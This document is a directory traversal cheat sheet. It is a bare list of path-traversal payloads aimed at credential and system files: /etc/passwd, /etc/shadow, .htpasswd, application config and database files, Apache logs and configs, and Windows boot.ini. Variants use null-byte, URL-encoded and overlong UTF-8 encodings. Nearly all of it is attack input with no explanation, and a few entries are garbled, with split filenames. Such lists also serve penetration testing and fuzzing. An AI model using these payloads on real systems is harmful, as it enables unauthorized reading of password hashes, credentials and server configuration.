Directory Traversal Cheat Sheet

/etc/master.passwd

/master.passwd

etc/passwd

etc/shadow%00

/etc/passwd

/etc/passwd%00

../etc/passwd

../etc/passwd%00

../../etc/passwd

../../etc/passwd%00

../../../etc/passwd

../../../etc/passwd%00

../../../../etc/passwd

../../../../etc/passwd%00

../../../../../etc/passwd

../../../../../etc/passwd%00

../../../../../../etc/passwd

../../../../../../etc/passwd%00

../../../../../../../etc/passwd

../../../../../../../etc/passwd%00

../../../../../../../../etc/passwd

../../../../../../../../etc/passwd%00

../../../../../../../../../etc/passwd

../../../../../../../../../etc/passwd%00

../../../../../../../../../../etc/passwd

../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../etc/passwd

../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../../../../../../../../../etc/passwd%00

../../../../../../../../../../../../../../../../../../../../../../etc/shadow%00

———————————————————————————————————————————-

../../../../../../etc/passwd&=%3C%3C%3C%3C

../../../administrator/inbox

../../../../../../../dev

———————————————————————————————————————————-

.htpasswd

passwd

passwd.dat

pass.dat

.htpasswd

/.htpasswd

../.htpasswd

.passwd

/.passwd

../.passwd

.pass

../.pass

members/.htpasswd

member/.htpasswd

user/.htpasswd

users/.htpasswd

root/.htpasswd

———————————————————————————————————————————-

db.php

data.php

database.asp

database.js

database.php

dbase.php a

admin/access_log

../users.db.php

users.db.php

———————————————————————————————————————————-

/core/config.php

config.php

config.js

../config.js

config.asp

../config.asp

_config.php

../_config.php

../_config.php%00

../config.php

config.inc.php

../config.inc.php

/config.asp

../config.asp

/../../../../pswd

/admin/install.php

../install.php

install.php

———————————————————————————————————————————-

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow

..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd

..%2F..%2F..%2F%2F..%2F..%2Fetc/shadow

..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini

/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

———————————————————————————————————————————-

/..\..\..\..\..\..\winnt\win.ini

../../windows/win.ini

..//..//..//..//..//boot.ini

..\../..\../boot.ini

..\../..\../..\../..\../boot.ini

\…..\\\…..\\\…..\\\

=3D “/..” . “%2f..

d:\AppServ\MySQL

c:\AppServ\MySQL

c:WINDOWS/system32/

/C:\Program Files\

/D:\Program Files\

/C:/inetpub/ftproot/

———————————————————————————————————————————-

/boot/grub/grub.conf

/proc/interrupts

/proc/cpuinfo

/proc/meminfo

———————————————————————————————————————————-

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../etc/httpd/logs/acces_log

../../../../../../../etc/httpd/logs/acces.log

../../../../../../../etc/httpd/logs/error_log

../../../../../../../etc/httpd/logs/error.log

../../../../../../../var/www/logs/access_log

../../../../../../../var/www/logs/access.log

../../../../../../../usr/local/apache/logs/access_ log

../../../../../../../usr/local/apache/logs/access. log

../../../../../../../var/log/apache/access_log

../../../../../../../var/log/apache2/access_log

../../../../../../../var/log/apache/access.log

../../../../../../../var/log/apache2/access.log

../../../../../../../var/log/access_log

../../../../../../../var/log/access.log

../../../../../../../var/www/logs/error_log

../../../../../../../var/www/logs/error.log

../../../../../../../usr/local/apache/logs/error_l og

../../../../../../../usr/local/apache/logs/error.l og

../../../../../../../var/log/apache/error_log

../../../../../../../var/log/apache2/error_log

../../../../../../../var/log/apache/error.log

../../../../../../../var/log/apache2/error.log

../../../../../../../var/log/error_log

../../../../../../../var/log/error.log

———————————————————————————————————————————-

/etc/init.d/apache

/etc/init.d/apache2

/etc/httpd/httpd.conf

/etc/apache/apache.conf

/etc/apache/httpd.conf

/etc/apache2/apache2.conf

/etc/apache2/httpd.conf

/usr/local/apache2/conf/httpd.conf

/usr/local/apache/conf/httpd.conf

/opt/apache/conf/httpd.conf

/home/apache/httpd.conf

/home/apache/conf/httpd.conf

/etc/apache2/sites-available/default

/etc/apache2/vhosts.d/default_vhost.include

———————————————————————————————————————————-

/etc/passwd

/etc/shadow

/etc/group

/etc/security/group

/etc/security/passwd

/etc/security/user

/etc/security/environ

/etc/security/limits

/usr/lib/security/mkuser.default